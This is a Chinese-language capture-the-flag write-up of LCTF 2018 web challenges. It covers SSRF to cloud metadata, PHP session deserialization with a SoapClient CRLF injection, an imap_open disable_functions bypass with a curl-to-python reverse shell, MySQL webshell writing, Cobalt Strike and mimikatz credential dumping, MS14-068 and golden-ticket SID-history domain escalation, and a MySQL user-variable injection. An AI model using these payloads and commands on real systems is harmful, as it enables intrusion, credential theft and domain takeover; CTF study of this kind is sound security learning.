LCTF 2018 部分 web 题详细 writeup

0X00 前言

LCTF 2018 还是一如既往的来了,虽然也是出题人,但是并不代表能做出来其他师傅的题,我也是一边运维一边做题,一边听师傅们的思路,简单的看了几道题,下面是简单的记录

0X01 Travel

此处输入图片的描述

还给了代码:

# -*- coding: utf-8 -*-

from flask import request, render_template
from config import create_app
import os
import urllib
import requests
import uuid

app = create_app()

@app.route('/upload/<filename>', methods = ['PUT'])            # 幂等的请求,会产生覆盖
def upload_file(filename):
    name = request.cookies.get('name')
    pwd = request.cookies.get('pwd')
    if name != 'lctf' or pwd != str(uuid.getnode()):           # 不知道硬件地址则绕不过去
        return "0"
    filename = urllib.unquote(filename)                         # 进行 url 解码
    with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
        f.write(request.get_data(as_text = True))
        return "1"
    return "0"

@app.route('/', methods = ['GET'])
def index():
    url = request.args.get('url', '')
    if url == '':
        return render_template('index.html')
    if "http" != url[: 4]:                                     # 必须要 http 请求
        return "hacker"
    try:
        response = requests.get(url, timeout = 10)
        response.encoding = 'utf-8'
        return response.text
    except:
        return "Something Error"

@app.route('/source', methods = ['GET'])
def get_source():
    return open(__file__).read()

if __name__ == '__main__':
    app.run()

了解过 SSRF 的同学看一眼就知道是 SSRF ,但是我们的目标是什么呢?我们看到有一个文件写的点,但是我们并不知道 uuid.getnode() ,在HCTF 我们已经领略过这个函数的作用,我们知道他是主机的 mac 地址的十进制表示,于是我们希望利用SSRF 实现本地文件读取,但是这里明显有几个限制,首先限制了 协议是 http 和 https ,这就排除了我们使用 file 等协议,当然可能有人说可以使用 302 跳转,没错,requests.get() 在没有设置,allow_redirects=False 的情况下是会进行跟随的,但是如果你尝试使用 file 等其他协议他就会报错,这应该是 requests 的保护机制吧。

那么这种情况下其实还是要看看开放的端口,毕竟是 flask ,万一有什么 redis 啥的未授权呢?可以直接写 shell 啥的,我使用 nmap 测试了一下发现只有80 和 22 ,没戏了,想别的办法吧。

后来给了提示说是什么 “留意云服务商和差异性”,云服务商是啥,我们看一下

$ curl cip.cc/118.25.150.86
IP      : 118.25.150.86
地址    : 中国  上海
运营商  : tencent.com

数据二  : 上海市 | 腾讯云

数据三  : 中国上海上海市 | 电信

URL     : http://www.cip.cc/118.25.150.86

腾讯云,那我们看一下腾讯云的实例文档,找到了下面的东西

此处输入图片的描述

不得了!我们试一下获取 mac ,直接输 http://metadata.tencentyun.com/latest/meta-data/mac

52:54:00:48:c8:73

我们从而得到十进制:90520735500403

这样我们就能写文件了,但是我又发现了一个问题,这个写文件要求是 PUT 请求,然后我怎么 PUT 都 405 ,后来才知道 nginx 的 405 和 flask 的 405 不是一个 405,还是那么菜。

下图是 get 请求的到的 405

此处输入图片的描述

下图是 PUT 请求得到的405

此处输入图片的描述

我们看到使用 PUT 方法的 405 是 nginx 给我们的,也就是这个是经过反向代理得到的,我们的 PUT 请求被反向代理服务器拦截了,我们这样也就明确了目标,我们如何在 flask 中突破 nginx 反向代理的限制,同时出题人也给了一个提示 header ,这样我们就去找一下 flask 中什么请求头有这样的作用

此处输入图片的描述

我们来试一下

此处输入图片的描述

可以看到我们能返回1 ,那我们是不是就能任意文件写了呢?

用户名在代码中已经存在 lctf ,那我们可以写一个公钥 /home/lctf/.ssh/authorized_keys,地址这里还有一个小坑,必须要使用 URL 二次编码

此处输入图片的描述

这时候已经成功写入,我们登录

此处输入图片的描述

0X02 bestphp’s revenge

代码审计:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET['name'])){
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
array(0) { } 

还有一个 flag.php

<?php

session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
//only localhost can get flag!

一开始看 index.php ,可以说是一脸蒙蔽了,但是后来看了 flag.php 以后目标就很清晰了,我们需要伪造我们的 remote_addr 为 Localhost 然后访问 flag.php 拿到 flag ,但我们知道 remote_addr 哪里能伪造,想要让 remote_addr 是 127.0.0.1 那只有一种方法就是实现 ssrf ,后来给了一个 hint :反序列化,也就是我们要使用反序列化触发 ssrf 访问 flag.php 页面,并且访问的时候我们还要带上我们自己的 cookie 访问,要不然我们没法写到我们自己的 session 中,这样我们也就没法访问到 flag 了

但是问题来了,我之前在分析 php 反序列化的时候也说了,PHP 反序列化就是要控制一个类的属性,然后在调用过程中最终传入某个恶意函数中达到命令执行或者代码执行的效果,但是很明显这里啥都没有,这其实也给了我们一个提示,我们要用 php 的原生类,其实这个知识点在 N1CTF 2018 中已经出现过了,使用 soapclient 原生类,在不使用 wsdl 的情况下创建的对象在调用不存在的方法的时候会触发 __call 方法,然后能发起请求

我们看一下我的测试

test.php

<?php
$a = new SoapClient(null, array(
            'location'=> "http://h4ck3r.club:9999", 
            'uri'=> "test"
)); 

$a->getsubtime();

结果如图:

此处输入图片的描述

成功的发起了请求,这其实就是我们实现 SSRF,然后如何携带 Cookie 呢? 这里用到了 soapclient 的一个 uri 和 user_agent的 CRLF 注入,我们

test.php

<?php
$a = new SoapClient(null, array(
            'location'=> "http://h4ck3r.club:9999", 
            'user_agent' => "AAA:BBB\r\n"."Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912",
            'uri'=> "test"
)); 
$res = serialize($a);
$a = unserialize($res);
$a->getsubtime();

结果:

此处输入图片的描述

当然怎么反序列化这其实还是一个问题,但是观察代码,我们很明显能看到一个存在序列化的地方

<?php
//...
session_start();
if(isset($_GET['name'])){
  $_SESSION['name'] = $_GET['name'];
}
//...

我们知道,session 是经过序列化进行存储的,我们可以试试,传入 name=K0rz3n 上面代码执行的结果是

name|s:6:"K0rz3n";

等等,这个序列化为什么长得有些奇怪,感觉和我们对象使用 serialize 序列化出来的结果长得很不一样,没错,这个其实就是我们的利用点了,php 在 sesion 序列化的时候有三种序列化引擎,php 、php_serialize 和 php_binary,其中 php 这种序列化的方式是默认的方式。

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

也就是说, php 这种序列化的方式是不序列化键名的,而是单纯地序列化键值,而对键值的序列化使用的是我们在序列化对象的时候使用的 serialize() 函数的方式,那我们有这样的一种想法,如果我们把我们的 soapclient 对象序列化后在前面,加一个 | 然后存入 session ,并且指定 session 序列化的方法为 php_serialize

a:1:{s:4:"name";s:115:"|O:10:"SoapClient":3:{s:3:"uri";s:4:"test";s:8:"location";s:23:"http://h4ck3r.club:9999";s:13:"_soap_version";i:1;}";}

这一步的实现可以通过题目中的

call_user_func($_GET[f],$_POST);

来实现,当然这个要借助 session_start() 函数的一个选项

bool session_start ([ array $options = array() ] )

options
此参数是一个关联数组,如果提供,那么会用其中的项目覆盖 会话配置指示 中的配置项。此数组中的键无需包含 session. 前缀。

那么会话配置指示里面是什么呢?

此处输入图片的描述

那么在 session 反序列化的时候使用默认的 php 引擎的话就会错误地将这个 | 当做控制字符来分隔键值和键名(这其实就是注入漏洞的本质),然后对我们 | 后面的部分再次使用 unserialize() 反序列化,那我们的对象就能重现江湖了

等等,为什么能触发反序列化呢????

如图所示:

此处输入图片的描述

也就是说这个步骤是 php 在处理会话的过程中帮我们自动完成的,不信我们测试一下,目前的状态是我们已经将我们的 soapclient 对象按照 php_serialize 的方式序列化进了 session 文件,然后我们要按照 php 引擎的方式解析,下面是测试代码

test.php

<?php

session_start();
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
var_dump($a);

结果:

此处输入图片的描述

很明显我们的注入成功了,他按照我们注入的 | 进行了分隔,反序列化了我们传入的 soapclient

好,现在反序列化和 SSRF 我们已经捋清楚了,我们还差一点东西,根据 soapclient 的要求,我么想要发起请求必须要让反序列化出来的对象调用一个不存在的方法,怎么弄?

于是我又注意到了这个代码下面还有一个 call_user_func() 这不得不说是一个非常明显的疑点,按道理这里就应该是我们的利用点了,因为我们的 $a[0] 就是我们的 soapcliet 对象了,虽然 $b 是一个确定的值,但是我们还是能使用 第一个 call_user_func 调用 extract 来实现变量覆盖

我们看一下下面的操作吧

test1.php

<?php

class test{

    function __call($name,$args){
        echo "Hello~";
    }

}

$a = new test();
call_user_func(array($a,'hhh'));

?>

结果:

此处输入图片的描述

我们在 call_user_func 中传入了一个 array() 并且第一个值为一个类的对象,另一个是这个类中不存在的方法,然后他出发了调用,好了,这里的思路我们彻底清晰了

我们要使用 extract 覆盖变量 b 为 call_user_func 然后,”welcome_to_the_lctf2018” 这个字符串就是我们的不存在的方法。最终可以实现 __call 的调用,实现发出带着我们设定好 cookie 的请求,然后 flag 被写入我们的 session 中,我们最后再带着这个 cookie 列出 session 中的内容就可以了

0X03 God of domain-pentest

<?php
highlight_file(__FILE__);
$lshell=$_GET['lshell'];
eval($lshell);
var_dump($lshell);
NULL 

先使用 phpinfo(); 看一下 disable function ,因为出题人在旁边,他说过滤了全部,不要我继续绕 disable 了,

如图:

此处输入图片的描述

最近不是出了一个新的操作?用来 bypass disable_fuction 的 imap

此处输入图片的描述

不多说,打!一开始使用 bash 反弹没成功,问了一下他们,他们说 Python 反弹效果更好欧,于是开始 python 反弹,结果还是不行,后来把 Payload 放在了服务器上,然后用 curl 请求 并且使用 | 交给 python 执行(向师傅们学来的操作),

curl vps.xxx.com|python

然后,我们将其 base64 以后放在 payload 框架里

$server = "x -oProxyCommand=echo\txxxxxxxxxxxxxxxxxxxxxx|base64\t-d|sh}";imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

然后为了防止 url 传输过去的问题,还是使用 url 编码

%24server%20%3D%20%22x%20-oProxyCommand%3Decho%5Ctxxxxxxxxxxxxxxxxxxxxxx%7Cbase64%5Ct-d%7Csh%7D%22%3Bimap_open('%7B'.%24server.'%3A143%2Fimap%7DINBOX'%2C%20''%2C%20'')%20or%20die(%22%5Cn%5CnError%3A%20%22.imap_last_error())%3B

然后执行就行了,成功反弹

此处输入图片的描述

看一下 ip

eth0      Link encap:Ethernet  HWaddr 52:54:00:2a:75:a6  
          inet addr:172.21.0.17  Bcast:172.21.15.255  Mask:255.255.240.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:897233 errors:0 dropped:0 overruns:0 frame:0
          TX packets:783700 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:264883816 (264.8 MB)  TX bytes:240894961 (240.8 MB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:1824 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1824 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:177022 (177.0 KB)  TX bytes:177022 (177.0 KB)

内网 ip 已经明确了,然后在 /var/www 目录下面看到了出题人好心的 ew

此处输入图片的描述

我们试一下挂一个内网的代理,我有时候选择全局有时候指定应用,这个其实根据你使用的工具来决定

此处输入图片的描述

然后我直接使用 netstat -ano 看了一下这台服务器建立的链接发现,他和 172.21.0.8 成功建立连接,这就直接找到了一台服务器

如图所示:

此处输入图片的描述

浏览器成功访问

此处输入图片的描述

进行一波目录扫描

此处输入图片的描述

PHPmyadmin 提权? 我们进去看看

root root 登录,这还得了,观察一下我们也能发现这个就是一个简单的 phpstudy 起的,我们 MySQL 提权那么多方法,不了解的可以看我的这篇文章

我首先尝试了使用 select into outfile 的方法,但是收到了 secure_file_priv 的限制,后来我选择了使用 general_log 的方法,我们先看一下

此处输入图片的描述

这样不仅能看到选项是否开启,也能看到默认的安装路径了,那这样web 目录也就非常清晰

此处输入图片的描述

现在我们拿到了 webshell 然后我们需要反弹 windows 的 shell ,使用 cs

./teamserver xxx.xxx.xxx.xxx K0rz3n

此处输入图片的描述

用 cs 生成 powershell payload 执行

此处输入图片的描述

然后抓密码,先进入 cs 的命令行

此处输入图片的描述

输入 help 查看常见的帮助,我们注意一下那个 shell 命令,表示我们在后面执行 cmd.exe 的命令

shell whoami 

就能看到我是 administrator 权限,然后我们开始抓密码,使用

logonpasswords

此处输入图片的描述

然后既然题目提示中提到了域环境,那我们就要先简单的判断一下,我们自己所处的环境

shell ipconfig/all

此处输入图片的描述

根据我之间的一域渗透的简单文章,很容易知道 DNS 就是域控

我们现在需要攻击域控,使用 ms14068 拿域控的权限,使用 impacket 库中的 goldenPac.py,我们直接使用 Python 在入口机器上执行,在入口机器上的 /tmp 目录下使用 wget 下载

此处输入图片的描述

我们运行脚本 getshell

此处输入图片的描述

好了现在拿到了子域的域控权限,是一个 windows 的 shell , 我们找一下父域域控,如图所示

此处输入图片的描述

先把这台机器弹回 cs 中

此处输入图片的描述

到 windows 上执行

此处输入图片的描述

我们弹回子域域控

此处输入图片的描述

然后就是一套注入 sidhistory 的操作

(1)首先,我们需要得到域用户的安全认证标识符

shell wmic useraccount get Caption,sid

此处输入图片的描述

我们重点关注的是

WEB\krbtgt          S-1-5-21-508737280-3758319117-1445457868-50

他和 krb 有关系,相当于是域的一个令牌的中心,我们需要重点关注

(2)我们通过 mimikatz 得到当前域的 NTML 认证令牌

mimikatz lsadump::lsa /patch

此处输入图片的描述

(3)我们向当前域注入我们的 sid history ,这个 history 有一个继承性,拥有了这个 history 的机子就有了原始机器的属性

mimikatz kerberos::golden /admin:administrator /domain:web.lctf.com /sid:S-1-5-21-508737280-3758319117-1445457868 /sids:S-1-5-21-35370905-2178818314-1839806818-519 /krbtgt:42cb5299c2e40ad7d04cb2d7d16f3a46 /startoffset:0

此处输入图片的描述

(4)访问父域域控的桌面找到 flag

shell type \\dc\c$\Users\\Administrator\\Desktop\\flag.txt

此处输入图片的描述

0X04 T4lk 1s ch34p,sh0w m3 the sh31l/sh0w m3 the sh31l 4ga1n

这道题是我出的题,还有另一道是这道题的衍生,但是由于出题过程中的非预期,导致这道题没有触及到我想要考察的点,但是我本身的 wp 还是按照我的预期解写的,有兴趣的可以转到这篇文章

0X05 年久失修的系统

这道题我在比赛过程中也没来得及看,就大概知道是一个注入,但是最后是0解,真的神了,一般来讲注入0解的情况在比赛中并不常见,也正因为这个原因我赛后非常好奇的看了 klaus 师傅的 wp ,确实让我比较惊讶,这里考察的是一个神奇的点—–用户自定义变量

可能有的同学不知道什么是用户自定义变量,但是你一定见过 @@datadir 、@@version、@@tmpdir 、@@basedir 等,这些我们在之前的注入中绝对用过,利用这种内置的变量我们能获取一些敏感信息,那么用户变量又是什么呢?

和系统变量不同的是,用户变量的定义方式是使用一个 @ ,他的定义格式是这个样子的

SET @var_name = expr [, @var_name = expr] ...

我们实验一下:

mysql> set @a = 1;
Query OK, 0 rows affected (0.00 sec)

mysql> select @a;
+------+
| @a   |
+------+
|    1 |
+------+
1 row in set (0.00 sec)

注意:

(1)可以先在用户变量中保存值然后在以后引用它;这样可以将值从一个语句传递到另一个语句。用户变量与连接有关。也就是说,一个客户端定义的变量不能被其它客户端看到或使用。当客户端退出时,该客户端连接的所有变量将自动释放。
(2)对于 SET,可以使用=或:=作为分配符。分配给每个变量的expr可以为整数、实数、字符串或者NULL值。
(3)也可以用 select 语句代替SET来为用户变量分配一个值。在这种情况下,分配符必须为:=而不能用=,因为在非SET语句中=被视为一个比较 操作符:

我们来尝试一下使用 select 语句给自定义变量赋值

mysql> select @a:=2;
+-------+
| @a:=2 |
+-------+
|     2 |
+-------+
1 row in set (0.00 sec)

mysql> select @a:=3;
+-------+
| @a:=3 |
+-------+
|     3 |
+-------+
1 row in set (0.00 sec)

那我们能不能使用表达式给变量赋值呢?答案是可以的,我们看下面的实验

mysql> select ID ,@rownum:=@rownum+1 as rownum from city order by ID limit 10;
+----+--------+
| ID | rownum |
+----+--------+
|  1 |     11 |
|  2 |     12 |
|  3 |     13 |
|  4 |     14 |
|  5 |     15 |
|  6 |     16 |
|  7 |     17 |
|  8 |     18 |
|  9 |     19 |
| 10 |     20 |
+----+--------+
10 rows in set (0.00 sec)

这样就实现了逐个增加,是不是很神奇?我们再来看下面的测试

mysql> select @b:=@b is not null;
+--------------------+
| @b:=@b is not null |
+--------------------+
|                  0 |
+--------------------+
1 row in set (0.00 sec)

mysql> select @b:=@b is not null;
+--------------------+
| @b:=@b is not null |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.00 sec)

这个怎么理解呢?我们先来看赋值号后面的这个表达式

@b is not null

由于 @b 并没有在当前的会话中定义过,于是一开始是 null ,然后我们做了个判断,判断 @b 不是 null ,很明显这个得到的是假,也就是 0 ,那么再执行完这个语句之后 @b 就被赋值为 0 ,当第二次再执行的时候就是判断 0 不是 Null ,这次肯定是真,于是返回1 此时 @b 就被赋值为1

那么这道题就是利用了这个点,在用户的一个会话中实现查询两次的过程中自动修改值

10094-9921*@a:=@a is not null

mysql> select 10094-9921*@e:=@e is not null ;
+-------------------------------+
| 10094-9921*@e:=@e is not null |
+-------------------------------+
|                         10094 |
+-------------------------------+
1 row in set (0.00 sec)

mysql> select 10094-9921*@e:=@e is not null ;
+-------------------------------+
| 10094-9921*@e:=@e is not null |
+-------------------------------+
|                           173 |
+-------------------------------+
1 row in set (0.00 sec)

这样达到了在绕过对 select 中的值的检查的同时在 update 修改了 admin 的密码的

0X06 参考

http://wupco.cn/hctf/ezphp.pdf
http://blog.securelayer7.net/owasp-top-10-penetration-testing-soap-application-mitigation/
https://www.anquanke.com/post/id/153065#h2-5
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://xz.aliyun.com/t/3336
http://seaii-blog.com/index.php/2018/03/12/78.html
https://github.com/wonderkun/CTF_web/blob/master/web600-1/README.md?1520943473140
https://www.anquanke.com/post/id/164569
https://www.cnblogs.com/backlion/p/8127868.html
https://segmentfault.com/a/1190000009540449

文章目录
  1. 1. 0X00 前言
  2. 2. 0X01 Travel
  3. 3. 0X02 bestphp’s revenge
  4. 4. 0X03 God of domain-pentest
  5. 5. 0X04 T4lk 1s ch34p,sh0w m3 the sh31l/sh0w m3 the sh31l 4ga1n
  6. 6. 0X05 年久失修的系统
  7. 7. 0X06 参考
|